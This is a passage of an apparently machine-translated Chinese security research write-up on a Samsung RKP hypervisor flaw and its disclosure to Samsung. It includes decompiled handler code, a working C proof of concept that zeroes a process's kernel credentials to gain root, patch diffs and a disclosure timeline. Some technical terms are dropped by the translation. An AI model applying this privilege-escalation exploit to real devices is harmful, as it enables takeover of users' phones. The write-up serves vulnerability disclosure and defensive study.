return 0;
}
// If the AT succeeded, return the output PA.
else {
return (par_el1 & 0xfffffffff000) | (addr & 0xfff);
}
}

问题是函数将调用 virt_to_phys_el1 来转换内核 VA,有时从中读取,有时写入它。但是,由于 virt_to_phys_el1 仍然会转换 VA,即使它只能读取,我们可以滥用这种疏忽来写入内核中只读的内存。

开发

内核内存中有趣的目标包括阶段 2 中任何只读的内容,例如内核页表、 、 等。我们还需要找到一个命令处理程序,它使用 virt_to_phys_el1 函数,写入转换后的地址,并且可以在虚拟机管理程序完全初始化后调用。只有两个命令处理程序符合要求:struct credstruct task_security_struct

  • rkp_cmd_rkp_robuffer_alloc,写入新分配页面的地址;

int64_t rkp_cmd_rkp_robuffer_alloc(saved_regs_t* regs) {
// ...
page = page_allocator_alloc_page();
ret_va = regs->x2;
// ...
if (ret_va) {
// ...
*virt_to_phys_el1(ret_va) = page;
}
regs->x0 = page;
return 0;
}
  • rkp_cmd_dynamic_load,用于写入子命令的返回代码。

int64_t rkp_cmd_dynamic_load(saved_regs_t* regs) {
// ...
if (type == RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT) {
res = dynamic_breakdown_before_init(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_INS) {
res = dynamic_load_ins(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_RM) {
res = dynamic_load_rm(rkp_dyn);
// ...
} else {
res = 0;
}
ret_va = regs->x4;
if (ret_va) {
*virt_to_phys_el1(ret_va) = res;
}
regs->x0 = res;
return res;
}

在我们的漏洞利用中,我们使用了 rkp_cmd_dynamic_load因为当指定无效的子命令时,返回代码以及写入目标地址的值为 0。例如,将 UID/GID 更改为 0 () 非常有用。root

概念验证

#define UH_APP_RKP 0xC300C002

#define RKP_DYNAMIC_LOAD 0x20

void print_ids() {
uid_t ruid, euid, suid;
getresuid(&ruid, &eudi, &suid);
printf("Uid: %d %d %d\n", ruid, euid, suid);

gid_t rgid, egid, sgid;
getresgid(&rgid, &egid, &sgid);
printf("Gid: %d %d %d\n", rgid, egid, sgid);
}

void write_zero(uint64_t rkp_dyn_p, uint64_t ret_p) {
kernel_hyp_call(UH_APP_RKP, RKP_DYNAMIC_LOAD, 42, rkp_dyn_p, ret_p);
}

void exploit() {
/* print the old credentials */
print_ids();

/* get the struct cred of the current task */
uint64_t current = kernel_get_current();
uint64_t cred = kernel_read(current + 0x7B0);

/* allocate the argument structure */
uint64_t rkp_dyn_p = kernel_alloc(0x38);
/* zero the fields of the struct cred */
for (int i = 4; i < 0x24; i += 4)
write_zero(rkp_dyn_p, cred + i);

/* print the new credentials */
print_ids();
}

Uid: 2000 2000 2000
Gid: 2000 2000 2000
Uid: 0 0 0
Gid: 0 0 0

通过运行概念验证,我们可以看到当前任务的凭据从 2000 () 更改为 0 ()。shellroot

该漏洞已在我们的测试设备可用的最新固件上成功测试(在我们向三星报告此漏洞时):。该错误仅存在于 Exynos 设备的二进制文件中(因为“动态加载”功能不适用于 Snapdragon 设备),包括 S10/S10+/S20/S20+ 旗舰设备。但是,它在这些设备上的可利用性尚不确定。A515FXXU4CTJ1

利用此漏洞的先决条件很高:在启用了 JOPP/ROPP 的设备上,仅通过对内核内存的任意读取和写入即可进行虚拟机管理程序调用并非易事。

补丁

以下是我们向三星建议的即时补救步骤:

- Add a flag to virt_to_phys_el1 to specify if it should check if the memory
needs to be readable or writable from the kernel, or split this function in two

在收到三星通知该漏洞已修补后,我们下载了测试设备三星 Galaxy A51 的最新固件更新。但我们很快注意到它还没有更新到 6 月份的补丁级别,所以我们不得不对三星 Galaxy S10 的最新固件更新进行二进制比较。使用的确切版本是 。G973FXXSBFUF3

对函数进行了更改。现在,它确保内核提供的地址在写入之前被标记为 in,如果不是,则触发策略冲突。rkp_cmd_rkp_robuffer_allocFREEphysmap

int64_t rkp_cmd_rkp_robuffer_alloc(saved_regs_t *regs) {
// ...
page = page_allocator_alloc_page();
ret_va = regs->x2;
// ...
if (ret_va) {
// ...
- *virt_to_phys_el1(ret_va) = page;
+ ret_pa = virt_to_phys_el1(ret_va);
+ rkp_phys_map_lock(ret_pa);
+ if (!is_phys_map_free(ret_pa)) {
+ rkp_phys_map_unlock(ret_pa);
+ rkp_policy_violation("RKP_07fb818a");
+ }
+ *ret_pa = page;
+ rkp_phys_map_unlock(ret_pa);
}
regs->x0 = page;
return 0;
}

对 rkp_cmd_dynamic_load 功能进行了类似的更改。

int64_t rkp_cmd_dynamic_load(saved_regs_t *regs) {
// ...
if (type == RKP_DYN_COMMAND_BREAKDOWN_BEFORE_INIT) {
res = dynamic_breakdown_before_init(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_INS) {
res = dynamic_load_ins(rkp_dyn);
// ...
} else if (type == RKP_DYN_COMMAND_RM) {
res = dynamic_load_rm(rkp_dyn);
// ...
} else {
res = 0;
}
ret_va = regs->x4;
- if (ret_va)
- *virt_to_phys_el1(ret_va) = res;
+ if (ret_va) {
+ ret_pa = rkp_get_pa(ret_va);
+ rkp_phys_map_lock(ret_pa);
+ if (!is_phys_map_free(ret_pa)) {
+ rkp_phys_map_unlock(ret_pa);
+ rkp_policy_violation("RKP_07fb818a");
+ }
+ rkp_phys_map_unlock(ret_pa);
+ *ret_pa = res;
+ }
regs->x0 = res;
return res;
}

该补丁现在有效,因为在初始化后没有其他命令处理程序可在写入地址之前使用 virt_to_phys_el1,但它只能修复利用路径,而不是根本原因。将来,当添加新的命令处理程序时,可能会忘记检查,从而重新引入漏洞。此外,该修补程序还假定内核中只读的内存永远不会标记为 .虽然目前情况如此,但将来也可能发生变化。physmapFREE

更好的解决方案是添加一个标志,表示检查读取或写入访问权限,作为 virt_to_phys_el1 函数的参数。

在此结论中,我们想为您提供我们对三星 RKP 及其截至 2021 年初的实施的看法。

关于实现,代码库已经存在了几年,它表明了这一点。随着新功能的添加,复杂性也随之增加,并且必须到处制作错误补丁。这也许可以解释为什么会犯像今天揭示的错误,以及为什么配置问题如此频繁地发生。很可能在代码中潜伏着其他错误,我们已经掩盖了这些错误。此外,我们觉得三星在设计过程和错误补丁中都做出了一些奇怪的选择。例如,复制第 2 阶段页表中已有的信息(例如,位和 )非常容易出错。他们似乎也在修补特定的利用路径,而不是漏洞的根本原因,这是一个危险信号。S2APro_bitmap

暂且不谈这些缺陷,并考虑到三星RKP对设备安全性的整体影响,我们认为它确实有助于使设备更加安全,作为深度防御措施。它使攻击者更难在内核中实现代码执行。但是,它肯定不是灵丹妙药。在编写 Android 内核漏洞时,攻击者需要找到 RKP 绕过漏洞(这与 RKP 中的漏洞不同)来破坏系统。不幸的是,三星仍然需要解决一些已知的旁路问题。

SVE-2021-20178型

  • 2021 年 1 月 4 日 - 向三星发送了初步报告。

  • 2021 年 1 月 5 日 - 为该问题指派了一名安全分析师。

  • 2021 年 1 月 19 日 - 我们要求更新。

  • 2021 年 1 月 25 日 - 目前没有更新。

  • 2021年2月17日 - 漏洞已确认。

  • 2021 年 3 月 3 日 - 我们要求更新。

  • 2021 年 3 月 4 日 - 此问题将在 5 月安全更新中修补。

  • 2021 年 5 月 4 日 - 我们要求更新。

  • 2021 年 5 月 10 日 - 此问题将在 6 月安全更新中修补。

  • 2021年6月8日 - 通知已发布修补漏洞的更新。

  • 2021 年 7 月 20 日 - 我们在二进制差异修复后重新打开该问题。

  • 2021 年 7 月 30 日 - 此问题将在 10 月的安全更新中修补。

  • 2021年10月05日 - 通知已发布修补漏洞的更新。

SVE-2021-20179型

  • 2021 年 1 月 4 日 - 向三星发送了初步报告。

  • 2021 年 1 月 5 日 - 为该问题指派了一名安全分析师。

  • 2021 年 1 月 19 日 - 我们要求更新。

  • 2021 年 1 月 25 日 - 目前没有更新。

  • 2021年2月17日 - 漏洞已确认。

  • 2021 年 3 月 3 日 - 我们要求更新。

  • 2021 年 3 月 4 日 - 此问题将在 5 月安全更新中修补。

  • 2021 年 5 月 4 日 - 我们要求更新。

  • 2021 年 5 月 10 日 - 此问题将在 6 月安全更新中修补。

  • 2021年6月6日 - 通知已发布修补漏洞的更新。

SVE-2021-20176

  • 2021 年 1 月 4 日 - 向三星发送了初步报告。

  • 2021 年 1 月 5 日 - 为该问题指派了一名安全分析师。

  • 2021 年 1 月 19 日 - 我们要求更新。

  • 2021 年 1 月 29 日 - 目前没有更新。

  • 2021 年 3 月 3 日 - 我们要求更新。

  • 2021年3月04日 - 漏洞已确认。

  • 2021 年 5 月 4 日 - 我们要求更新。

  • 2021 年 5 月 10 日 - 此问题将在 6 月安全更新中修补。

  • 2021 年 6 月 6 日 - 我们要求更新。

  • 2021 年 6 月 23 日 - 通知已发布修补漏洞的更新。

  • 洞课程()

  • windows

  • windows()

  • USB()

  • ()

  • ios

  • windbg

  • ()


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247491109&idx=1&sn=2fa5a80fcdfa3bfe9f9d3e538c1fb881&chksm=c0fbb07c546feec4c0d6111545996dd607bbe6389875e0e08b5d9ab3156e51ffa6c2cad412c6&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh